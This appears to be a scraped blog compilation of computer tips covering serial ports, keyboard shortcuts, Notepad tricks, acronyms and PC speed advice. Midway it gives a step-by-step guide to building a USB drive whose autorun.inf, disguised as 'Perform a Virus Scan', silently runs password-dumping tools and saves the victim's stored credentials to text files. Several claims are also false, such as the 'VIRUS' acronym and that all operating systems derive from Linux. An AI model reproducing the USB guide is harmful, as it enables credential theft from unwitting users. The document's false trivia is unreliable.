Serial ports

I/O Ports
=> I/O port is a channel that enables I/O devices to communicate with the system.Different type of ports like serial port, parallel port,USB port are available.
serial port is used to transfer a single bit of data at time.it can be used to connect any type of serial device like a mouse , moderm ,printer etc.
UNIVERSAL SERIAL BUS (USB) is an I/O port used to connect different external device like a hard disk drives,printers,mice,scanners etc.
A PARALLEL PORT can transfer multiple bits,but a SERIAL PORT can transfer only one bit at a time.
Serial port
I/O port is a logical channel the I/O devices to communicate with the system.
there are different kind of port like serial port,parallel port, USB port etc.
serial port is used to transfer single bit of data at a time.the serial ports confirm to RS -232c or RS-422 standards.it can be used to connect any type of serial device like a mouse , moderm ,printer etc. USB is also a type of serial port and stands for
Universal Serial Bus. USB is a much more complicated standard than the typical 9-pin D-sub serial port you might find on a desktop computer (RS-232 standard). Anyway you look at it, most data transmission between different devices is sent serially . the different kinds of serial port are 9 pin D type male connector and 25 pin D type male connector from the system side.they are called COM port (COM -communication port).
Serial data communication in a PC

The data is sent as bit by bit in a serial communication.The data is divided into bits and are transmitted sequentially.the data is sent between devices through the communication channel.the communication channel is a physical wire which connects the communicating devices.in serial communication one channel can transfer only one bit at a time.serial communication is cheaper as it needs only one wire.it is suitable for long distance communication since it has less distortion due to noise and interference.the lenght of the wire required for transmitting is less.the speed of transmission is less.
example - modem

Windows Shortcuts

Windows Generic Shortcuts

Windows Logo Display or hide the Start menu
Windows Logo+F1 Display Windows Help
Windows Logo+L Lock the keyboard
Windows Logo+R Open the Run dialog box
Windows Logo+U Open Utility Manager
Windows Logo+D Display the desktop
Windows Logo+M Minimize all of the windows
Windows Logo+E Open My Computer
Windows Logo+F Search for a file or a folder
Windows Logo+PAUSE Display the Sys Prop dialog box
Windows Logo+SHIFT+M Restore the min windows

=> Windows 8 Keyboard Shortcuts

Win+Y : Temporarily peek at the
               desktop
Win+X : Launch Start Menu
Win+J : Switch focus between the
               snapped & filled apps
Win+O : Locks device orientation
Win+M : Minimize all Windows on the desktop
Win+V : Cycles through toasts
Win+Shift+V : Cycles through toasts in reverse order
Win+Enter : Launches Narrator
Win+PgUp : Moves tiles to the left
Win+PgDn : Moves tiles to the right
Win+Shift+. : Moves the split to the left
Win+B : Switch to the (classic) Windows desktop
Win+P : Choose between available display
Win+D : Show Desktop
Win+U : Open Ease of Access Center
Win+. : Moves the split to the right
Win+, : Peek at the desktop
Win+⁄ : Initiate input method editor reconversion
Win+F : Opens Metro File Search
Win+C : Opens Charms Bar
Win+E : Opens Windows Explorer Computer folder
Win+R : Opens Run
Win+I : Opens Settings charm
Win+K : Opens Connect charm
Win+H : Opens Share charm
Win+Q : Opens Search pane
Win+W : Opens Settings Search app
Win+L : Lock computer
Win+Z : Opens App Bar

=> Windows Function Key Shortcuts
F1 Gives help on the active window or selected item.
F2 Rename the selected item
F3 Search for a file or a folder
F4 Display the Address bar list in Windows Explorer
F5 Update the active window
F6 Cycle through the screen elements in a window
F10 Activate the menu bar in the active program
SHIFT+TAB Move backward through the options

=>Windows Function Key Shortcuts
F1 Gives help on the active window or selected item.
F2 Rename the selected item
F3 Search for a file or a folder
F4 Display the Address bar list in Windows Explorer
F5 Update the active window
F6 Cycle through the screen elements in a window
F10 Activate the menu bar in the active program
SHIFT+TAB Move backward through the options


Google Chrome Shortcuts
ALT + F4 Close current window
ALT + HOME Open homepage
ALT + SHIFT +B Open Bookmark manager
CTRL + B Toggle Bookmarks on⁄off
CTRL + H View History
CTRL + N Open new window
CTRL + T Open new tab
CTRL + O Open a file from your computer in Google Chrome
CTRL + P Print page
CTRL + W Close current tab
CTRL + 9 Switch to last tab
CTRL + SHIFT + B Open the Bookmark manager
CTRL + SHIFT + N Open a new window in incognito mode
CTRL + SHIFT + T Reopen the last tab you've closed
(Chrome remembers last 10)
CTRL + TAB Switch to next tab
CTRL + Page Up Switch to previous tab
CTRL + Page Down Switch to the next tab
CTRL + (click hyperlink) Open link in new tab in the background
SHIFT + (click hyperlink) Open link in a new window
Windows Most Used Productive Shortcuts
CTRL Z,X,C,V = Undo Cut Copy Paste
CTRL+A to select al
Win + E: Windows Explorer
Win + Pause: System Info
Win + R: Run
Win + D: Desktop
Shift + Del - Bypass Recycle Bin
Ctrl + Shift + Esc: Task Manager
Win + X = Power Menu Windows 8
CTRL+Enter to add the "http:⁄⁄www" and the ".com"
Shift+Enter adds ".net" to the address.
CTRL+Shift+Enter adds ".org" to the address.
CTRL+R to refresh web page

Notepad is the best software

Notepad is the best software program available in windows. It is the only program which is support by almost all the platform whether it is Windows, Mac etc. Notepad is also available on the Smartphones operating systems like iOS and Android . We all use it to do all the basic features like cut,copy, past ,etc. But it is much smarter than what we think, if it is used to perform some more task or various other functions. So, here are some cool tricks & tips to perform some smart functions on notepad.

1. Make A Personal Diary
                                    You can use Notepad as a simple digital diary ( personal Log-Book ). Just follow the given steps to make  your own digital diary !
Step 1: Open Notepad.

Step 2: Type .LOG (in capital letters) and hit enter.

Step 3: Save it with the name you want and close it.

Step 4: Open it again.
When you open the file again you will see the current date and time being inserted automatically after the .LOG line. This will happen automatically every time you reopen the the notepad file.

 2. Convert Text Into Audio
By this trick you can convert any text to audio with just a click.

Step 1: Open Notepad file.

Step 2: Copy and paste the given code :

Dim msg, sapi
msg=InputBox
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg

Step 3: Save this file with any name with .vbs as extension. For eg. TextToAudio.vbs


Thats it ! Your  free Text to Audio converter is ready to be used. Now open the saved file and enter the text you want to convert and click OK.

how to access passwords using a USB drive?

How to Access Passwords Using a USB Drive?

How to Access Passwords Using a USB Drive? 

1) Download all the tools mentioned below
MessenPass : http://sh.st/wZ8t2
Mail PassView : http://sh.st/wZ8ix
IE Passview : http://sh.st/wZ8pg
Protected Storage PassView : http://sh.st/wZ8s0
PasswordFox : http://sh.st/wZ8dD

Note: If any link doesn't work then you can google it and download it 

2) Download all the 5 tools, extract them and copy only the executable files (.exe files) onto your USB Pendrive.

ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

3) Create a new Notepad and write the following text into it:

[autorun] open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from New Text Document.txt to autorun.inf. Now copy the autorun.inf file onto your USB pen-drive.

4) Create another Notepad and write the following text onto it:

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

Save the Notepad and rename it from New Text Document.txt to launch.bat. Copy the launch.bat file to your USB drive.

5) Now your rootkit is ready and you are all set to sniff the passwords. You can use this pen-drive on on any computer to sniff the stored passwords. Just follow these steps:

Insert the pen-drive and the auto-run window will pop-up. (This is because, we have created an auto-run pen-drive).

In the pop-up window, select the first option (Perform a Virus Scan).

Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

Remove the pen-drive and you’ll see the stored passwords in the .TXT files.

NOTE: This can only obtain saved email id's and password and not the one which is not saved 

* VIRUS - Vital Information Resource UnderSeized.
* 3G -3rd Generation.
* GSM - Global System for Mobile Communication.
* CDMA - Code Divison Multiple Access.
* UMTS - Universal MobileTelecommunication System.
* SIM - Subscriber Identity Module .
* AVI = Audio Video Interleave
* RTS = Real Time Streaming
* SIS = Symbian OS Installer File
* AMR = Adaptive Multi-Rate Codec
* JAD = Java Application Descriptor
* JAR = Java Archive
* JAD = Java Application Descriptor
* 3GPP = 3rd Generation Partnership Project
* 3GP = 3rd Generation Project
* MP3 = MPEG player lll
* MP4 = MPEG-4 video file
* AAC = Advanced Audio Coding
* GIF= Graphic Interchangeable Format
* JPEG = Joint Photographic Expert Group
* BMP = Bitmap
* SWF = Shock Wave Flash
* WMV = Windows Media Video
* WMA = Windows Media Audio
* WAV = Waveform Audio
* PNG = Portable Network Graphics
* DOC = Document (MicrosoftCorporation)
* PDF = Portable Document Format
* M3G = Mobile 3D Graphics
* M4A = MPEG-4 Audio File
* NTH = Nokia Theme (series 40)
* THM = Themes (Sony Ericsson)
* MMF = Synthetic Music Mobile Application File
* NRT = Nokia Ringtone
* XMF = Extensible Music File
* WBMP = Wireless Bitmap Image
* DVX = DivX Video
* HTML = Hyper Text Markup Language
* WML = Wireless Markup Language
* CD -Compact Disk.
* DVD - Digital Versatile Disk.
* CRT - Cathode Ray Tube.
* DAT - Digital Audio Tape.
* DOS - Disk Operating System.
* GUI -Graphical User Interface.
* HTTP - Hyper Text Transfer Protocol.
* IP - Internet Protocol.
* ISP - Internet Service Provider.
* TCP - Transmission Control Protocol.
* UPS - Uninterruptible Power Supply.
* HSDPA - High Speed Downlink PacketAccess.
* EDGE - Enhanced Data Rate for GSM[GlobalSystem for Mobile Communication] Evolution.
* VHF - Very High Frequency.
* UHF - Ultra High Frequency.
* GPRS - General PacketRadio Service.
* WAP - Wireless ApplicationProtocol.
* TCP - Transmission ControlProtocol .
* ARPANET - Advanced Research Project Agency Network.
* IBM - International Business Machines.
* HP - Hewlett Packard.
* AM/FM - Amplitude/ Frequency Modulation.
* WLAN - Wireless Local Area Network

why hacker and programmers choose linux

Why Hackers and Programmers choose Linux
instead of Windows and Mac ?
*Linux is advanced High Level OS
*Comfortable for Hackers
*24/7 always virus free
*Greatest OS for Programmers to develop Soft.
*Always free
*All OS born from Linux only
*Linux contain all types of Programming lan and
Hacking tools
*Linux is the No. 1 for Server and Client
Scripting
*Windows is Base and Linux is Race
*Linux have high developed Programmed
*Linux is the open source OS

ten tips to improve system speed

Top Ten Tips To Improve System Speed

1.Let your PC boot up completely before opening any applications.

2.Refresh the desktop after closing any application. This will remove any unused files from the RAM.

3.Do not set very large file size images as your wallpaper. Do not keep a wallpaper at all if your PC is low on RAM (less than 64 MB).

4.Do not clutter your Desktop with a lot of shortcuts. Each shortcut on the desktop uses up to 500 bytes of RAM

5.Empty the recycle bin regularly. The files are not really deleted from your hard drive until you empty the recycle bin.

6.Delete the temporary internet files regularly.

7.Defragment your hard drive once every two months. This will free up a lot of space on your hard drive and rearrange the files so that your applications run faster.

8.Always make two partitions in your hard drive. Install all large Softwares (like PSP, Photoshop, 3DS Max etc) in the second partition. Windows uses all the available empty space in C drive as virtual memory when your Computer RAM is full. Keep the C Drive as empty as possible.

9.When installing new Softwares disable the option of having a tray icon. The tray icons use up available RAM, and also slow down the booting of your PC. Also disable the option of starting the application automatically when the PC boots. You can disable these options later on also from the Tools or preferences menu in your application.

10. Protect your PC from dust. Dust causes the CPU cooling fan to jam and slow down thereby gradually heating your CPU and affecting the processing speed. Use compressed air to blow out any dust from the CPU. Never use vacuum.
RAM IS THE WORKING AREA (DESKTOP) OF THE CPU, KEEP IT AS EMPTY AND UNCLUTTERED AS POSSIBLE!

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► Google purchased YouTube in 1.65 Billion.
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► Oracle purchased @Sun & Java in 7.4 Billion.
► HP purchased Compac in 25 Billion.
►Microsoft purchased Skype in 8.5 Billion!